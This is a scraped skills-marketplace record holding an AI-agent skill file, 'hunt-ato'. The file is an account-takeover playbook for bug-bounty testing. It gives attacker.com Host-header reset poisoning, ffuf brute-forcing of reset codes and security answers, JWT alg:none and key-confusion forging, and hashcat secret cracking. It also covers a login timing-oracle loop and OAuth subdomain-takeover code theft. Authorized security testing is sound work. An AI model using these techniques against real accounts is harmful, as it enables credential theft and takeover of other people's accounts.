[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6NSPXMRP5AZFCTYVCSZ6C7K":3,"skill-same:01M6NSPXMRP5AZFCTYVCSZ6C7K":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":21,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6NSPXMRP5AZFCTYVCSZ6C7K","hunt-ato",null,"Hunt account takeover taxonomy","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fhunt-ato\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt ato","ato","hunt","main","account takeover","for","relevant","helper","offensive","scripts","scope","commands","testing","community","only","takeover","taxonomy","Tools","license","security","2026-11-10 10:12:30",false,"---\nname: hunt-ato\ndescription: Hunt account takeover taxonomy\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, public_research\nreport_count: 7\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 13. ATO — ACCOUNT TAKEOVER TAXONOMY\n> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session\u002FIP\u002Fdevice. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.\n\n### Path 1: Password Reset Poisoning (Host-Header)\n```bash\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com                 # primary Host swap\n# OR keep real Host and add one of:\nX-Forwarded-Host: attacker.com\nX-Host: attacker.com\nX-Forwarded-Server: attacker.com\n# OR dual-Host smuggling:  Host: target.com\\r\\nHost: attacker.com\n\nemail=victimB@company.com\n```\nThe reset mailer builds the link from the request Host header → link points to `attacker.com\u002Freset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator \u002F unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.\n**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.\n\n### Path 2: Reset Token in Referer \u002F Open-Redirect Leak\n```\nGET \u002Freset-password?token=ABC123\n→ page loads third-party resource: \u003Cscript src=\"https:\u002F\u002Fanalytics.com\u002Ft.js\">\n→ browser sends  Referer: https:\u002F\u002Ftarget.com\u002Freset-password?token=ABC123\n→ token exfiltrated to every off-origin host the page calls\n```\nAlso test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.\n\n### Path 3: Predictable \u002F Weak Reset Tokens\n```bash\n# 6-digit numeric OTP-style reset code, no rate limit:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Freset\u002Fverify\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"code\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) -mc 200 -fr \"invalid\" -t 5\n# time-based tokens: capture 5 tokens, diff — md5(timestamp)\u002Fsequential int = predictable\n```\n**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `\u002Fforgot-password` is routinely rejected — the impact is token guessing, not request flooding.\n\n### Path 4: Token No-Expiry \u002F Reuse \u002F Cross-Account\n```\nExpiry:  request token → wait 2h → still valid? = bug\nReuse:   use token once → use again → still valid? = bug\nMulti:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)\nCross:   does B's token reset A's password if you swap the userid\u002Femail param? = IDOR-in-reset\n```\n\n### Path 5: Email Change Without Re-Auth\n```bash\nPUT \u002Fapi\u002Fuser\u002Femail HTTP\u002F1.1\nCookie: session=ATTACKER_A_SESSION\n{\"new_email\":\"attacker@evil.com\"}     # no current_password, no OTP, no email-confirm\n```\nIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link \u002F email-change → ATO via missing re-auth.\n\n### Path 6: JWT Manipulation\n```bash\n# (a) alg:none — strip the signature, set header alg to none\npython3 -c \"import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))\"\n# send: header {\"alg\":\"none\",\"typ\":\"JWT\"}, payload {\"sub\":\"victimB\"}, empty signature\n#\n# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret\ncurl -s https:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json   # or \u002Foauth\u002F.well-known\u002F...  grab the RSA pub key\n# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it\n#\n# (c) weak HMAC secret: crack offline\nhashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT\n#\n# (d) kid injection: kid=..\u002F..\u002F..\u002Fdev\u002Fnull (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)\n```\n**Verified grounding for this class:** [CVE-2015-9235](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2015-9235) (node `jsonwebtoken` \u003C4.2.2 — alg confusion \u002F none bypass), [CVE-2016-10555](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET \u002Fapi\u002Fadmin` or `\u002Fapi\u002Fusers\u002FB`) — decoding\u002Fforging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.\n\n### Path 7: Password Change Without Step-Up + Login Oracle\n```bash\n# (a) password-change endpoint accepts a new password with no current-password \u002F no MFA challenge:\nPOST \u002Fapi\u002Faccount\u002Fpassword\nCookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak\n{\"new_password\":\"Pwned#2026\"}          # no \"current_password\" field\n#\n# (b) login oracle to find a valid password without an existing cookie — measure response delta:\nfor p in $(cat candidates.txt); do\n  t=$(curl -s -o \u002Fdev\u002Fnull -w '%{time_total}' -d \"user=victimB&pass=$p\" https:\u002F\u002Ftarget.com\u002Flogin)\n  printf '%s\\t%s\\n' \"$t\" \"$p\"\ndone | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass\n```\nA no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device\u002FIP, victim locked out. **False-positive check:** confirm there is genuinely no current-password \u002F MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).\n\n### Path 8: Social-Recovery \u002F Security-Question Abuse\n```bash\n# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Faccount\u002Frecover\u002Fanswer\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"question\":\"pet\",\"answer\":\"FUZZ\"}' \\\n  -w common-answers.txt -mc 200 -fr \"incorrect\" -t 5\n# also test: answers returned\u002Fechoed in \u002Fapi\u002Fme or recovery page source (client-side check)\n# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)\n```\nPair with `offensive-osint`: many \"secret\" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.\n\n### Path 9: SSO Subdomain Takeover at OAuth redirect_uri\n```bash\n# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?\nGET \u002Foauth\u002Fauthorize?client_id=...&redirect_uri=https:\u002F\u002Fanything.target.com\u002Fcb&response_type=code\n# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku\u002FS3\u002FAzure\u002FGH-Pages) via hunt-subdomain:\ndig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)\n# (c) claim that host on the cloud provider, serve a callback that logs the ?code=\n# (d) send victim B the crafted authorize URL -> their code\u002Ftoken lands on your claimed subdomain\n```\n**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` \u002F claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.\n\n### Path 10: Pre-Account \u002F Unverified-Account Takeover\nThe victim's account exists in a pending\u002Funverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO\u002FOTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite\u002Fpending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports\u002F1679734, reports\u002F394329.\n\n### Path 11: Passwordless \u002F Magic-Link Abuse by Identifier\nA passwordless-signup \u002F magic-login \u002F OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone\u002Femail), with no token step. Probe `*passwordless*`, `*magic*`, `*\u002Fotp-login`, `*\u002Fsignup`: does supplying only a phone\u002Femail set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports\u002F143717.\n\n### ATO Severity Gate\n- **Critical** — zero\u002Flow victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.\n- **High** — one email click OR a pre-existing session\u002Fcookie required (Referer leak, no-step-up password change behind cookie theft).\n- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).\n- **Low** — attacker must be MitM, or only self-account impact.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH \u002Fapi\u002Fusers\u002F{victimB_uid}` with attacker-A session + victim UID + `{\"email\":\"attacker@evil.com\"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).\n- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS \u002F token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP\u002Fdevice.\n- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku\u002FS3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.\n- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal \u002F SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.\n- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST \u002Fforgot-password` with `Host`\u002F`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com\u002Freset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.\n- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.\n- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for \"rate-limit on \u002Fforgot-password\" reports.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 13. ATO — ACCOUNT TAKEOVER TAXONOMY\n> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session\u002FIP\u002Fdevice. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.\n\n### Path 1: Password Reset Poisoning (Host-Header)\n```bash\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com                 # primary Host swap\n# OR keep real Host and add one of:\nX-Forwarded-Host: attacker.com\nX-Host: attacker.com\nX-Forwarded-Server: attacker.com\n# OR dual-Host smuggling:  Host: target.com\\r\\nHost: attacker.com\n\nemail=victimB@company.com\n```\nThe reset mailer builds the link from the request Host header → link points to `attacker.com\u002Freset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator \u002F unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.\n**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.\n\n### Path 2: Reset Token in Referer \u002F Open-Redirect Leak\n```\nGET \u002Freset-password?token=ABC123\n→ page loads third-party resource: \u003Cscript src=\"https:\u002F\u002Fanalytics.com\u002Ft.js\">\n→ browser sends  Referer: https:\u002F\u002Ftarget.com\u002Freset-password?token=ABC123\n→ token exfiltrated to every off-origin host the page calls\n```\nAlso test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.\n\n### Path 3: Predictable \u002F Weak Reset Tokens\n```bash\n# 6-digit numeric OTP-style reset code, no rate limit:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Freset\u002Fverify\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"code\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) -mc 200 -fr \"invalid\" -t 5\n# time-based tokens: capture 5 tokens, diff — md5(timestamp)\u002Fsequential int = predictable\n```\n**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `\u002Fforgot-password` is routinely rejected — the impact is token guessing, not request flooding.\n\n### Path 4: Token No-Expiry \u002F Reuse \u002F Cross-Account\n```\nExpiry:  request token → wait 2h → still valid? = bug\nReuse:   use token once → use again → still valid? = bug\nMulti:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)\nCross:   does B's token reset A's password if you swap the userid\u002Femail param? = IDOR-in-reset\n```\n\n### Path 5: Email Change Without Re-Auth\n```bash\nPUT \u002Fapi\u002Fuser\u002Femail HTTP\u002F1.1\nCookie: session=ATTACKER_A_SESSION\n{\"new_email\":\"attacker@evil.com\"}     # no current_password, no OTP, no email-confirm\n```\nIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link \u002F email-change → ATO via missing re-auth.\n\n### Path 6: JWT Manipulation\n```bash\n# (a) alg:none — strip the signature, set header alg to none\npython3 -c \"import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))\"\n# send: header {\"alg\":\"none\",\"typ\":\"JWT\"}, payload {\"sub\":\"victimB\"}, empty signature\n#\n# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret\ncurl -s https:\u002F\u002Ftarget.com\u002F.well-known\u002Fjwks.json   # or \u002Foauth\u002F.well-known\u002F...  grab the RSA pub key\n# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it\n#\n# (c) weak HMAC secret: crack offline\nhashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT\n#\n# (d) kid injection: kid=..\u002F..\u002F..\u002Fdev\u002Fnull (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)\n```\n**Verified grounding for this class:** [CVE-2015-9235](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2015-9235) (node `jsonwebtoken` \u003C4.2.2 — alg confusion \u002F none bypass), [CVE-2016-10555](https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET \u002Fapi\u002Fadmin` or `\u002Fapi\u002Fusers\u002FB`) — decoding\u002Fforging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.\n\n### Path 7: Password Change Without Step-Up + Login Oracle\n```bash\n# (a) password-change endpoint accepts a new password with no current-password \u002F no MFA challenge:\nPOST \u002Fapi\u002Faccount\u002Fpassword\nCookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak\n{\"new_password\":\"Pwned#2026\"}          # no \"current_password\" field\n#\n# (b) login oracle to find a valid password without an existing cookie — measure response delta:\nfor p in $(cat candidates.txt); do\n  t=$(curl -s -o \u002Fdev\u002Fnull -w '%{time_total}' -d \"user=victimB&pass=$p\" https:\u002F\u002Ftarget.com\u002Flogin)\n  printf '%s\\t%s\\n' \"$t\" \"$p\"\ndone | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass\n```\nA no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device\u002FIP, victim locked out. **False-positive check:** confirm there is genuinely no current-password \u002F MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).\n\n### Path 8: Social-Recovery \u002F Security-Question Abuse\n```bash\n# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:\nffuf -u \"https:\u002F\u002Ftarget.com\u002Faccount\u002Frecover\u002Fanswer\" -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victimB@company.com\",\"question\":\"pet\",\"answer\":\"FUZZ\"}' \\\n  -w common-answers.txt -mc 200 -fr \"incorrect\" -t 5\n# also test: answers returned\u002Fechoed in \u002Fapi\u002Fme or recovery page source (client-side check)\n# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)\n```\nPair with `offensive-osint`: many \"secret\" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.\n\n### Path 9: SSO Subdomain Takeover at OAuth redirect_uri\n```bash\n# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?\nGET \u002Foauth\u002Fauthorize?client_id=...&redirect_uri=https:\u002F\u002Fanything.target.com\u002Fcb&response_type=code\n# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku\u002FS3\u002FAzure\u002FGH-Pages) via hunt-subdomain:\ndig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)\n# (c) claim that host on the cloud provider, serve a callback that logs the ?code=\n# (d) send victim B the crafted authorize URL -> their code\u002Ftoken lands on your claimed subdomain\n```\n**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` \u002F claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.\n\n### Path 10: Pre-Account \u002F Unverified-Account Takeover\nThe victim's account exists in a pending\u002Funverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO\u002FOTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite\u002Fpending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports\u002F1679734, reports\u002F394329.\n\n### Path 11: Passwordless \u002F Magic-Link Abuse by Identifier\nA passwordless-signup \u002F magic-login \u002F OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone\u002Femail), with no token step. Probe `*passwordless*`, `*magic*`, `*\u002Fotp-login`, `*\u002Fsignup`: does supplying only a phone\u002Femail set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports\u002F143717.\n\n### ATO Severity Gate\n- **Critical** — zero\u002Flow victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.\n- **High** — one email click OR a pre-existing session\u002Fcookie required (Referer leak, no-step-up password change behind cookie theft).\n- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).\n- **Low** — attacker must be MitM, or only self-account impact.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH \u002Fapi\u002Fusers\u002F{victimB_uid}` with attacker-A session + victim UID + `{\"email\":\"attacker@evil.com\"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).\n- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS \u002F token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP\u002Fdevice.\n- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku\u002FS3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.\n- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal \u002F SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.\n- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST \u002Fforgot-password` with `Host`\u002F`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com\u002Freset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.\n- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.\n- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for \"rate-limit on \u002Fforgot-password\" reports.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":26,"source":43,"license":14,"sources":44,"category":37,"date_added":45,"description":7,"source_repo":46,"source_type":31,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, public_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",7,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills\u002Fhunt-ato","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-ato",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-ato",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-ato","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fhunt-ato\u002FSKILL.md",true,[],[70,95,119,143,171,195],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security 